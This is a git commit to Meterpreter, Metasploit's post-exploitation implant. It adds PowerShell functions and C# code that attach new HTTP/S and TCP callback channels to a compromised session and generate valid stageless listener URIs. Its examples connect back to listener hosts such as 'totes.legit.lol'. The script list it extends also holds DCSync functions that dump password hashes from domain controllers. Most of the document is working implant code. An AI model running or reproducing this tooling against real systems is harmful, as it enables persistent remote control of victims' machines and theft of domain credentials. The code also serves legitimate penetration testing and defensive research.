Add powershell transport scripts

This commit adds two new scripts and modifies some of the powershell transport binding functionality.

Code has been added that generates valid Metasploit URIs for use with stageless listeners. This means that it's possible to add HTTP/S transports on the fly and have a URL generated that will work with the current architecture of the process.

Two new scripts will appear in each of the powershell sessions:

* Add-WebTransport - adds http/s transports to the session.
* Add-TcpTransport - adds TCP transports to the session.

These two scripts are just abstractions on top of the built-in Meterpreter transport binding functionality, but it makes it a lot easier to interact with the feature and makes it more.. er.. Powershelly.

The functions come with documnetation, so `Get-Help Add-WebTransport -Full` will show how it's used.

From here, people can do some more fun stuff, such as adding init scripts to their stageless payloads that add support for more transports.
This commit is contained in:
OJ 2018-05-28 12:45:29 +10:00
parent f79c160d04
commit 3dc014e8ad
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
4 changed files with 4289 additions and 3294 deletions

View File

@ -6,7 +6,7 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
#define PSHRUNNER_DLL_LEN 49664
#define PSHRUNNER_DLL_LEN 58880
extern unsigned char PowerShellRunnerDll[PSHRUNNER_DLL_LEN];

View File

@ -15,7 +15,7 @@ namespace MSF.Powershell.Meterpreter
public string ProxyHost { get; set; }
public string ProxyUser { get; set; }
public string ProxyPass { get; set; }
public byte[] CertHash { get; set; }
public string CertHash { get; set; }
}
public class SessionDefinition
@ -61,8 +61,13 @@ namespace MSF.Powershell.Meterpreter
ProxyHost = Tlv.GetValue<string>(transportDict, TlvType.TransProxyHost, string.Empty),
ProxyUser = Tlv.GetValue<string>(transportDict, TlvType.TransProxyUser, string.Empty),
ProxyPass = Tlv.GetValue<string>(transportDict, TlvType.TransProxyPass, string.Empty),
CertHash = Tlv.GetValue<byte[]>(transportDict, TlvType.TransCertHash)
};
var hash = Tlv.GetValue<byte[]>(transportDict, TlvType.TransCertHash);
if (hash != null && hash.Length > 0)
{
transport.CertHash = BitConverter.ToString(hash).Replace("-", "");
}
session.Transports.Add(transport);
}
@ -78,6 +83,71 @@ namespace MSF.Powershell.Meterpreter
return null;
}
private static string ToUriString(byte[] b)
{
return System.Convert.ToBase64String(b).Replace("+", "-").Replace("/", "_").Replace("=", "");
}
private static int GetUnixTime()
{
return (int)(DateTime.UtcNow - DateTime.Parse("1/1/1970")).TotalSeconds;
}
private static byte[] GenerateRandomBytes(int count)
{
var b = new byte[count];
var c = new System.Security.Cryptography.RNGCryptoServiceProvider();
c.GetNonZeroBytes(b);
return b;
}
private static string GenerateRandomUri()
{
return ToUriString(GenerateRandomBytes(12));
}
private static string GenerateUuid()
{
var arch = IntPtr.Size == 4 ? 1 : 2;
var uuid = GenerateRandomBytes(16);
uuid[10] = (byte)(uuid[8] ^ 1);
uuid[11] = (byte)(uuid[9] ^ arch);
var tx = BitConverter.ToInt32(new byte[] { uuid[9], uuid[8], uuid[9], uuid[8] }, 0);
var t = BitConverter.GetBytes(System.Net.IPAddress.HostToNetworkOrder(tx ^ GetUnixTime()));
uuid[12] = t[0];
uuid[13] = t[1];
uuid[14] = t[2];
uuid[15] = t[3];
return ToUriString(uuid);
}
private static int Check8(string s)
{
var sum = 0;
foreach (var c in System.Text.Encoding.ASCII.GetBytes(s))
{
sum += (int)c;
}
return sum % 0x100;
}
public static string GenerateTransportUri()
{
var uuid = GenerateUuid();
var sum = 98;
for (var i = 1; i <= 1000; ++i)
{
var t = uuid + GenerateRandomUri();
if (sum == Check8(t))
{
return string.Format("/{0}/", t);
}
}
return null;
}
public static bool Add(TransportInstance transport, int sessionExpiry = 0)
{
Tlv tlv = new Tlv();
@ -115,9 +185,14 @@ namespace MSF.Powershell.Meterpreter
{
tlv.Pack(TlvType.TransUa, transport.ProxyPass);
}
if (transport.CertHash != null && transport.CertHash.Length > 0)
if (!string.IsNullOrEmpty(transport.CertHash))
{
tlv.Pack(TlvType.TransCertHash, transport.CertHash);
var hash = new byte[transport.CertHash.Length / 2];
for (var i = 0; i < hash.Length; ++i )
{
hash[i] = Convert.ToByte(transport.CertHash.Substring(i * 2, 2), 16);
}
tlv.Pack(TlvType.TransCertHash, hash);
}
var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("core_transport_add"));

View File

@ -4,6 +4,156 @@ namespace MSF.Powershell
{
internal static class Scripts
{
private static readonly string AddTcpTransport = @"
function Add-TcpTransport {
<#
.SYNOPSIS
Add an active TCP transport to the current session.
.PARAMETER Lhost
Specifies the listener host name or IP of the machine to connect to.
.PARAMETER Lport
Specifies port to connect back to.
.PARAMETER CommTimeout
Specifies the packet communications timeout (in seconds).
.PARAMETER RetryTotal
Specifies the total time to retry for when the transport disconnects (in seconds).
.PARAMETER RetryWait
Specifies the time to wait between each retry for when the transport disconnects (in seconds).
.INPUTS
None.
.OUTPUTS
True if successful, False otherwise.
.EXAMPLE
Add-TcpTransport -Lhost 10.1.1.1 -Lport 8000
.EXAMPLE
Add-TcpTransport -Lhost totes.legit.lol -Lport 1337
#>
param(
[Parameter(Mandatory=$true)]
[String]
[ValidateNotNullOrEmpty()]
$Lhost,
[Parameter(Mandatory=$true)]
[Int]
$Lport,
[Int]
$CommTimeout,
[Int]
$RetryTotal,
[Int]
$RetryWait
)
$t = New-Object MSF.Powershell.Meterpreter.Transport+TransportInstance
$t.Url = 'tcp://{0}:{1}' -f $Lhost, $Lport
$t.CommTimeout = $CommTimeout
$t.RetryTotal = $RetryTotal
$t.RetryWait = $RetryWait
return [MSF.Powershell.Meterpreter.Transport]::Add($t)
}";
private static readonly string AddWebTransport = @"
function Add-WebTransport {
<#
.SYNOPSIS
Add a web-based transport (http/s) to the current session.
.PARAMETER Url
Specifies the full URL of the listener that this transport will connect to.
The URL must contain all components, including scheme (http/s), domain, port
(if it's a non-standard port for the scheme) and LURI. There is no need to
specify the Meterpreter URI as this is generated on the fly automatically.
.PARAMETER CommTimeout
Specifies the packet communications timeout (in seconds).
.PARAMETER RetryTotal
Specifies the total time to retry for when the transport disconnects (in seconds).
.PARAMETER RetryWait
Specifies the time to wait between each retry for when the transport disconnects (in seconds).
.PARAMETER UserAgent
Specifies user agent to use when making the web requests.
.PARAMETER ProxyHost
Specifies host address for the proxy server, if required.
.PARAMETER ProxyUser
Specifies username for proxy authentication, if required.
.PARAMETER ProxyPass
Specifies password for proxy authentication, if required.
.PARAMETER CertHash
Specifies the SHA1 hash of the https server certificate (as a hex-encoded string) that is
expected to be presented.
.INPUTS
None.
.OUTPUTS
True if successful, False otherwise.
.EXAMPLE
Add-WebTransport -Url https://foo.com/someuri
.EXAMPLE
Add-WebTransport -Url http://foo.com:8080/myendpoint -RetryTotal 60 -RetryWait 5
.EXAMPLE
Add-WebTransport -Url https://foo.com -UserAgent 'TotesLegit (v1.0)' -CertHash 01A0EF17832F0356BD8164254BB725857465B918
#>
param(
[Parameter(Mandatory=$true)]
[String]
[ValidateNotNullOrEmpty()]
$Url,
[Int]
$CommTimeout,
[Int]
$RetryTotal,
[Int]
$RetryWait,
[String]
$UserAgent,
[String]
$ProxyHost,
[String]
$ProxyUser,
[String]
$ProxyPass,
[String]
$CertHash
)
# Make sure this URL is valid
[System.Uri]$uri = $Url
If (-not ($uri.Scheme.ToLower() -eq 'http' -Or $uri.Scheme.ToLower() -eq 'https')) {
throw 'Specified scheme is invalid'
}
$t = New-Object MSF.Powershell.Meterpreter.Transport+TransportInstance
$t.Url = $Url + [MSF.Powershell.Meterpreter.Transport]::GenerateTransportUri()
$t.CommTimeout = $CommTimeout
$t.UserAgent = $UserAgent
$t.ProxyHost = $ProxyHost
$t.ProxyUser = $ProxyUser
$t.ProxyPass = $ProxyPass
$t.RetryTotal = $RetryTotal
$t.RetryWait = $RetryWait
$t.CertHash = $CertHash
return [MSF.Powershell.Meterpreter.Transport]::Add($t)
}
";
private static readonly string InvokeDcSync = @"
function Invoke-DcSync {
<#
@ -39,7 +189,7 @@ function Invoke-DcSync {
$DomainFqdn
)
return [MSF.Powershell.Meterpreter.Kiwi]::DcSync($User, $DomainController, $DomainFqdn)
} ";
}";
private static readonly string InvokeDcSyncAll = @"
function Invoke-DcSyncAll {
@ -97,7 +247,7 @@ function Invoke-DcSyncAll {
$s.IncludeEmpty = $IncludeEmpty
$s.IncludeMachineAccounts = $IncludeMachineAccounts
return [MSF.Powershell.Meterpreter.Kiwi]::DcSyncAll($s)
} ";
}";
private static readonly string InvokeDcSyncHashDump = @"
function Invoke-DcSyncHashDump {
@ -157,12 +307,14 @@ function Invoke-DcSyncHashDump {
$s.IncludeEmpty = $IncludeEmpty
$s.IncludeMachineAccounts = $IncludeMachineAccounts
return [MSF.Powershell.Meterpreter.Kiwi]::DcSyncHashDump($s)
} ";
}";
internal static IEnumerable<string> GetAllScripts()
{
return new List<string>
{
AddWebTransport,
AddTcpTransport,
InvokeDcSync,
InvokeDcSyncAll,
InvokeDcSyncHashDump,